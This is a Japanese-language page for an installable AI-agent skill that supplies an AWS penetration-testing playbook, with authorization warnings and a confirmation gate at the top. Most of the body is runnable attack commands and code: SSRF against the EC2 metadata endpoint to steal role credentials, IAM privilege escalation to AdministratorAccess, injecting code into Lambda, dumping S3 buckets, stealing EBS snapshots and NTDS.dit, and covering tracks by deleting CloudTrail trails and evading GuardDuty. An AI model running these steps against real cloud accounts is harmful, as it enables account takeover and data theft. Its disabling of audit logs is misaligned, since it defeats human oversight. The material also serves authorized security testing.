aws-penetration-testing について
許可を得た AWS セキュリティ評価や管理された学習環境向けのスキルです。ID、ストレージ、コンピューティング、ログの確認手順を扱い、対象範囲の承認と証跡・変更の保護を求めます。
主な機能
- 01AWS IDと権限の確認
- 02S3、Lambda、EC2の評価項目
- 03権限昇格経路の分析
- 04許可範囲の事前確認
- 05証跡と変更の保護
活用シーン
- 01承認済み評価でのAWS権限確認
- 02使い捨てAWSラボでのテスト
- 03範囲を限定したクラウド所見の記録
- 04セキュリティ担当者との監視検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ sickn33/ agentic-awesome-skills --skill aws-penetration-testingインストール後、Claude Code で/aws-penetration-testingを入力して読み込まれたか確認します。
同梱ファイルreferences/advanced-aws-pentesting.md
詳細
翻訳後に原文が更新されています。最新の内容は原文をご確認ください。
⚠️ 許可された使用のみ このスキルは、教育目的または許可されたセキュリティ評価のみに使用してください。 このツールを使用する前に、システム所有者から明示的な書面による許可を得る必要があります。 このツールの悪用は違法であり、固く禁止されています。
必須の確認ゲート ターゲットに対してプローブ、エクスプロイト、変更、永続化、データ抽出、または認証情報へのアクセスを試みるコマンドを実行する前に:
- ユーザーに正確なターゲット URL、IP、アカウント、またはリソースを述べるよう求めます。
- ユーザーに書面による許可と許可されたスコープを確認するよう求めます。
- 正確なコマンドを示し、その期待される効果を説明します。
- 現在の会話で明示的な確認を待ちます。
その確認がない場合は、読み取り専用のままとし、防御的なガイダンスのみを提供してください。サンドボックス、使い捨て VM、または管理されたラボを推奨します。
許可された使用のみ: このスキルは、許可されたセキュリティ評価、防御的検証、または管理された教育環境でのみ使用してください。
AWS ペネトレーションテスト
目的
AWS クラウド環境のペネトレーションテストのための包括的な手法を提供します。IAM 列挙、権限昇格、メタデータエンドポイントへの SSRF、S3 バケットの悪用、Lambda コードの抽出、およびレッドチーム運用のための永続化手法を扱います。
入力/前提条件
- 認証情報が設定された AWS CLI
- 有効な AWS 認証情報(低権限であっても可)
- AWS IAM モデルの理解
- Python 3、boto3 ライブラリ
- ツール: Pacu、Prowler、ScoutSuite、SkyArk
出力/成果物
- IAM 権限昇格パス
- 抽出された認証情報とシークレット
- 侵害された EC2/Lambda/S3 リソース
- 永続化メカニズム
- セキュリティ監査の所見
必須ツール
| ツール | 目的 | インストール |
|---|---|---|
| Pacu | AWS エクスプロイトフレームワーク | git clone https://github.com/RhinoSecurityLabs/pacu |
| SkyArk | シャドウ管理者の検出 | Import-Module .\SkyArk.ps1 |
| Prowler | セキュリティ監査 | pip install prowler |
| ScoutSuite | マルチクラウド監査 | pip install scoutsuite |
| enumerate-iam | 権限の列挙 | git clone https://github.com/andresriancho/enumerate-iam |
| Principal Mapper | IAM 分析 | pip install principalmapper |
コアワークフロー
ステップ 1: 初期列挙
侵害されたアイデンティティと権限を特定します:
# Check current identity
aws sts get-caller-identity
# Configure profile
aws configure --profile compromised
# List access keys
aws iam list-access-keys
# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
ステップ 2: IAM 列挙
# List all users
aws iam list-users
# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER
# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER
# List inline policies
aws iam list-user-policies --user-name TARGET_USER
# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME
ステップ 3: メタデータ SSRF (EC2)
SSRF を悪用してメタデータエンドポイントにアクセスします(IMDSv1):
# Access metadata endpoint
http://169.254.169.254/latest/meta-data/
# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Response contains:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2019-08-01T05:20:30Z"
}
IMDSv2 の場合(トークンが必要):
# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
"http://169.254.169.254/latest/api/token")
# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Fargate コンテナ認証情報:
# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...
# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
権限昇格の手法
シャドウ管理者権限
これらの権限は管理者と同等です:
| 権限 | 悪用方法 |
|---|---|
iam:CreateAccessKey | 管理者ユーザーのキーを作成 |
iam:CreateLoginProfile | 任意のユーザーのパスワードを設定 |
iam:AttachUserPolicy | 自身に管理者ポリシーをアタッチ |
iam:PutUserPolicy | インライン管理者ポリシーを追加 |
iam:AddUserToGroup | 自身を管理者グループに追加 |
iam:PassRole + ec2:RunInstances | 管理者ロールで EC2 を起動 |
lambda:UpdateFunctionCode | Lambda にコードを注入 |
別のユーザーのアクセスキーを作成
aws iam create-access-key --user-name target_user
管理者ポリシーをアタッチ
aws iam attach-user-policy --user-name my_username \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
インライン管理者ポリシーを追加
aws iam put-user-policy --user-name my_username \
--policy-name admin_policy \
--policy-document file://admin-policy.json
Lambda 権限昇格
# code.py - Inject into Lambda function
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
)
return response
# Update Lambda code
aws lambda update-function-code --function-name target_function \
--zip-file fileb://malicious.zip
S3 バケットの悪用
バケットの検出
# Using bucket_finder
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt
# Common bucket URL patterns
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}
バケットの列挙
# List buckets (with creds)
aws s3 ls
# List bucket contents
aws s3 ls s3://bucket-name --recursive
# Download all files
aws s3 sync s3://bucket-name ./local-folder
パブリックバケットの検索
https://buckets.grayhatwarfare.com/
Lambda の悪用
# List Lambda functions
aws lambda list-functions
# Get function code
aws lambda get-function --function-name FUNCTION_NAME
# Download URL provided in response
# Invoke function
aws lambda invoke --function-name FUNCTION_NAME output.txt
SSM コマンド実行
Systems Manager を使用すると、EC2 インスタンス上でコマンドを実行できます:
# List managed instances
aws ssm describe-instance-information
# Execute command
aws ssm send-command --instance-ids "i-0123456789" \
--document-name "AWS-RunShellScript" \
--parameters commands="whoami"
# Get command output
aws ssm list-command-invocations --command-id "CMD-ID" \
--details --query "CommandInvocations[].CommandPlugins[].Output"
EC2 の悪用
EBS ボリュームのマウント
# Create snapshot of target volume
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"
# Create volume from snapshot
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a
# Attach to attacker instance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
# Mount and access
sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen
シャドウコピー攻撃 (Windows DC)
# CloudCopy technique
# 1. Create snapshot of DC volume
# 2. Share snapshot with attacker account
# 3. Mount in attacker instance
# 4. Extract NTDS.dit and SYSTEM
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local
API キーからのコンソールアクセス
CLI 認証情報をコンソールアクセスに変換します:
git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY
# Generates signin URL for console access
痕跡の消去
CloudTrail を無効化する
# Delete trail
aws cloudtrail delete-trail --name trail_name
# Disable global events
aws cloudtrail update-trail --name trail_name \
--no-include-global-service-events
# Disable specific region
aws cloudtrail update-trail --name trail_name \
--no-include-global-service-events --no-is-multi-region-trail
注意: Kali/Parrot/Pentoo Linux はユーザーエージェントに基づいて GuardDuty アラートをトリガーします。ユーザーエージェントを変更する Pacu を使用してください。
クイックリファレンス
| タスク | コマンド |
|---|---|
| ID を取得 | aws sts get-caller-identity |
| ユーザーを一覧表示 | aws iam list-users |
| ロールを一覧表示 | aws iam list-roles |
| バケットを一覧表示 | aws s3 ls |
| EC2 を一覧表示 | aws ec2 describe-instances |
| Lambda を一覧表示 | aws lambda list-functions |
| メタデータを取得 | curl http://169.254.169.254/latest/meta-data/ |
制約事項
必須:
- テスト前に書面による許可を取得する
- 監査証跡のためにすべての操作を記録する
- スコープ内のリソースのみをテストする
禁止:
- 承認なしに本番データを変更する
- 文書化せずに永続的なバックドアを残す
- セキュリティ制御を恒久的に無効化する
推奨:
- メタデータ攻撃を試みる前に IMDSv2 を確認する
- 悪用前に徹底的に列挙する
- 業務終了後にテストリソースをクリーンアップする
例
例 1: SSRF から管理者へ
# 1. Find SSRF vulnerability in web app
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 2. Get role name from response
# 3. Extract credentials
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
# 4. Configure AWS CLI with stolen creds
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# 5. Verify access
aws sts get-caller-identity
トラブルシューティング
| 問題 | 解決策 |
|---|---|
| すべてのコマンドで Access Denied | enumerate-iam で権限を列挙する |
| メタデータエンドポイントがブロックされている | IMDSv2 を確認し、コンテナメタデータを試す |
| GuardDuty アラート | カスタムユーザーエージェントで Pacu を使用する |
| 認証情報の期限切れ | メタデータから再取得する(一時認証情報はローテーションされる) |
| CloudTrail が操作をログに記録する | 無効化またはログの難読化を検討する |
追加リソース
Lambda/API Gateway の悪用、Secrets Manager と KMS、コンテナセキュリティ(ECS/EKS/ECR)、RDS/DynamoDB の悪用、VPC 横移動、セキュリティチェックリストなどの高度なテクニックについては、references/advanced-aws-pentesting.md を参照してください。
使用するタイミング
このスキルは、概要で説明されているワークフローまたはアクションを実行する場合に適用されます。